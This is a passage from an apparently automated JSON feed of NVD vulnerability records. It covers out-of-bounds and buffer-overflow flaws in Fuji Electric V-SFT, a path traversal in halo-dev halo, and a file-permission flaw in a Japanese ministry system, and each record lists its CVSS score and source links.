2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107899","cveId":"CVE-2026-107899","aliases":[],"kind":"vulnerability","title":"V-SFT provided by FUJI ELECTRIC CO., LTD.","summary":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6EditData!CDataRomErrorCheck::CheckSymbolMacroParam. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.","detail":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6EditData!CDataRomErrorCheck::CheckSymbolMacroParam. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T07:17:08.223Z","updatedAt":"2026-10-26T15:16:36.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107899","asOf":"2026-10-26T15:16:36.397Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107899","type":"primary","publishedAt":"2026-10-26T07:17:08.223Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107898","cveId":"CVE-2026-107898","aliases":[],"kind":"vulnerability","title":"V-SFT provided by FUJI ELECTRIC CO., LTD.","summary":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6EditData!CDataRomErrorCheck::MacroCommandCheck. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.","detail":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6EditData!CDataRomErrorCheck::MacroCommandCheck. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T07:17:07.950Z","updatedAt":"2026-10-26T15:16:36.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107898","asOf":"2026-10-26T15:16:36.243Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107898","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107898","type":"primary","publishedAt":"2026-10-26T07:17:07.950Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107897","cveId":"CVE-2026-107897","aliases":[],"kind":"vulnerability","title":"V-SFT provided by FUJI ELECTRIC CO., LTD.","summary":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6MemInIF!set_temp_type_default. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.","detail":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6MemInIF!set_temp_type_default. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T07:17:07.827Z","updatedAt":"2026-10-26T15:16:36.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107897","asOf":"2026-10-26T15:16:36.110Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107897","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107897","type":"primary","publishedAt":"2026-10-26T07:17:07.827Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107896","cveId":"CVE-2026-107896","aliases":[],"kind":"vulnerability","title":"V-SFT provided by FUJI ELECTRIC CO., LTD.","summary":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6ComFile!load_gr_item. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.","detail":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6ComFile!load_gr_item. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T07:17:07.700Z","updatedAt":"2026-10-26T15:16:35.963Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107896","asOf":"2026-10-26T15:16:35.963Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107896","type":"primary","publishedAt":"2026-10-26T07:17:07.700Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107895","cveId":"CVE-2026-107895","aliases":[],"kind":"vulnerability","title":"V-SFT provided by FUJI ELECTRIC CO., LTD.","summary":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds write vulnerability. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.","detail":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds write vulnerability. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T07:17:07.570Z","updatedAt":"2026-10-26T15:16:35.810Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107895","asOf":"2026-10-26T15:16:35.810Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107895","type":"primary","publishedAt":"2026-10-26T07:17:07.570Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107894","cveId":"CVE-2026-107894","aliases":[],"kind":"vulnerability","title":"V-SFT provided by FUJI ELECTRIC CO., LTD.","summary":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains a stack-based buffer overflow vulnerability. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.","detail":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains a stack-based buffer overflow vulnerability. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T07:17:07.397Z","updatedAt":"2026-10-26T15:16:35.647Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107894","asOf":"2026-10-26T15:16:35.647Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107894","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107894","type":"primary","publishedAt":"2026-10-26T07:17:07.397Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116117","cveId":"CVE-2026-116117","aliases":[],"kind":"vulnerability","title":"A flaw has been found in halo-dev halo up to 2.27.0-beta.1. Affected by this vulnerability is the function run.halo.app.theme.DefaultViewNameResolver.resolveViewNameOrDefault of...","summary":"A flaw has been found in halo-dev halo up to 2.27.0-beta.1. Affected by this vulnerability is the function run.halo.app.theme.DefaultViewNameResolver.resolveViewNameOrDefault of the file application/src/main/java/run/halo/app/theme/DefaultViewNameResolver.java of the component View Name Resolver. Executing a manipulation of the argument template can lead to path traversal. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A flaw has been found in halo-dev halo up to 2.27.0-beta.1. Affected by this vulnerability is the function run.halo.app.theme.DefaultViewNameResolver.resolveViewNameOrDefault of the file application/src/main/java/run/halo/app/theme/DefaultViewNameResolver.java of the component View Name Resolver. Executing a manipulation of the argument template can lead to path traversal. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T05:17:54.180Z","updatedAt":"2026-10-26T17:17:20.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116117","asOf":"2026-10-26T17:17:20.987Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116117","type":"primary","publishedAt":"2026-10-26T05:17:54.180Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113345","cveId":"CVE-2026-113345","aliases":[],"kind":"vulnerability","title":"Electronic delivery item Inspection Support System provided by Japan's Ministry of Land, Infrastructure, Transport and Tourism contains an improper file access permission...","summary":"Electronic delivery item Inspection Support System provided by Japan's Ministry of Land, Infrastructure, Transport and Tourism contains an improper file access permission vulnerability. Files in the installation folder of the application may be tampered with, resulting in arbitrary code execution.","detail":"Electronic delivery item Inspection Support System provided by Japan's Ministry of Land, Infrastructure, Transport and Tourism contains an improper file access permission vulnerability. Files in the installation folder of the application may be tampered with, resulting in arbitrary code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of 